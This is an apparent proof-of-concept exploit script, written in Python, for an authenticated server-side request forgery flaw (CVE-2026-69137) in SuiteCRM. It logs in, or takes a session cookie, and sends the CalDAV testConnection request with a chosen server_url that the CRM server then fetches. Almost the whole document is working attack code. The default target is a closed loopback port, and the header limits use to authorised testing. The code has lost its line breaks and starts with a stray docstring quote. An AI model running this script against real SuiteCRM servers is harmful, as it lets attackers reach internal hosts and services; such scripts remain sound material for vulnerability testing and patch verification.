# Exploit Title: SuiteCRM 8.10.1 - Authenticated SSRF # Exploit Author: Max Gabriel (https://github.com/EntroVyx) # Vendor Homepage: https://suitecrm.com/ # Software Link: https://github.com/SuiteCRM/SuiteCRM # Version: <= 7.15.1, <= 8.10.1 # Tested on: SuiteCRM 7.15.1, Apache 2.4, PHP 8.1, MariaDB 10.6 # CVE: CVE-2026-69137 # Advisory: https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-72r3-24x4-j46c # # Usage: # python CVE-2026-69137.py -u https://suitecrm.example -U user -P password # python CVE-2026-69137.py -u https://suitecrm.example --cookie 'PHPSESSID=value' \ # --server-url http://127.0.0.1:8080/ # # The default destination is 127.0.0.1:1. It is a closed loopback port probe that # demonstrates the vulnerable server-side request path without requesting a service. # Use --server-url only on systems and destinations you are authorized to test. """ import argparse import http.cookiejar import json import ssl import sys from typing import Optional from urllib.error import HTTPError, URLError from urllib.parse import urlencode, urljoin, urlparse from urllib.request import HTTPCookieProcessor, Request, build_opener DEFAULT_SERVER_URL = "http://127.0.0.1:1/" USER_AGENT = "CVE-2026-69137-POC/1.0" def base_url(value: str) -> str: """Validate and normalize the SuiteCRM base URL.""" parsed = urlparse(value) if parsed.scheme not in {"http", "https"} or not parsed.netloc: raise argparse.ArgumentTypeError("target URL must include http(s):// and a host") return value.rstrip("/") + "/" def response_body(response) -> tuple[int, str, str]: """Return status, content type, and a decoded response body.""" status = getattr(response, "status", response.getcode()) content_type = response.headers.get("Content-Type", "") raw = response.read() charset = response.headers.get_content_charset() or "utf-8" return status, content_type, raw.decode(charset, errors="replace") def make_opener(insecure: bool): jar = http.cookiejar.CookieJar() handlers = [HTTPCookieProcessor(jar)] if insecure: handlers.append(ssl.HTTPSHandler(context=ssl._create_unverified_context())) return build_opener(*handlers) def post(opener, endpoint: str, values: dict[str, str], cookie: Optional[str], timeout: int): headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": USER_AGENT, } if cookie: headers["Cookie"] = cookie request = Request( endpoint, data=urlencode(values).encode("utf-8"), headers=headers, method="POST", ) return opener.open(request, timeout=timeout) def login(opener, endpoint: str, username: str, password: str, timeout: int) -> None: """Create a SuiteCRM legacy session using the normal Users/Authenticate action.""" values = { "module": "Users", "action": "Authenticate", "user_name": username, "username_password": password, } try: response = post(opener, endpoint, values, None, timeout) response.read() except (HTTPError, URLError) as error: raise RuntimeError(f"login request failed: {error}") from error def parse_result(status: int, content_type: str, body: str) -> int: """Print a concise result and return a process exit code.""" try: payload = json.loads(body) except json.JSONDecodeError: print("[-] The endpoint did not return JSON. Authentication may have failed.") print(f" HTTP {status}; Content-Type: {content_type or 'unknown'}") return 2 message = str(payload.get("message", "")) data = payload.get("data") if isinstance(payload.get("data"), dict) else {} error_code = payload.get("error_code", "") if error_code == "INVALID_ARGUMENT" and "not allowed" in message.lower(): print("[+] Target rejected the supplied URL; the SSRF fix appears to be present.") return 0 if error_code == "CONNECTION_TEST_FAILED" or data.get("success") is True: print("[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.") if message: print(f" Server message: {message}") if data.get("success") is True: print(" The supplied endpoint returned a successful CalDAV response.") return 1 print("[?] The endpoint returned an unexpected JSON response.") print(json.dumps(payload, indent=2, ensure_ascii=False)) return 3 def main() -> int: parser = argparse.ArgumentParser( description="Authenticated proof of concept for SuiteCRM CVE-2026-69137." ) parser.add_argument("-u", "--url", required=True, type=base_url, help="SuiteCRM base URL") auth = parser.add_mutually_exclusive_group(required=True) auth.add_argument("--cookie", help="authenticated SuiteCRM Cookie header value") auth.add_argument("-U", "--username", help="SuiteCRM username") parser.add_argument("-P", "--password", help="SuiteCRM password; required with --username") parser.add_argument( "--server-url", default=DEFAULT_SERVER_URL, help=f"URL fetched by SuiteCRM (default: {DEFAULT_SERVER_URL})", ) parser.add_argument("--timeout", type=int, default=35, help="HTTP timeout in seconds (default: 35)") parser.add_argument("-k", "--insecure", action="store_true", help="do not verify target TLS certificate") args = parser.parse_args() if args.username and not args.password: parser.error("--password is required when --username is used") if args.timeout <= 0: parser.error("--timeout must be greater than zero") endpoint = urljoin(args.url, "index.php") opener = make_opener(args.insecure) try: if args.username: print("[*] Authenticating with SuiteCRM legacy login...") login(opener, endpoint, args.username, args.password, args.timeout) print(f"[*] Sending testConnection request with server_url={args.server_url}") values = { "module": "CalendarAccount", "action": "testConnection", "source": "caldav_basic", "username": "probe", "password": "probe", "server_url": args.server_url, } response = post(opener, endpoint, values, args.cookie, args.timeout) status, content_type, body = response_body(response) except HTTPError as error: status, content_type, body = response_body(error) except (URLError, OSError) as error: print(f"[-] Request failed: {error}") return 2 return parse_result(status, content_type, body) if __name__ == "__main__": sys.exit(main())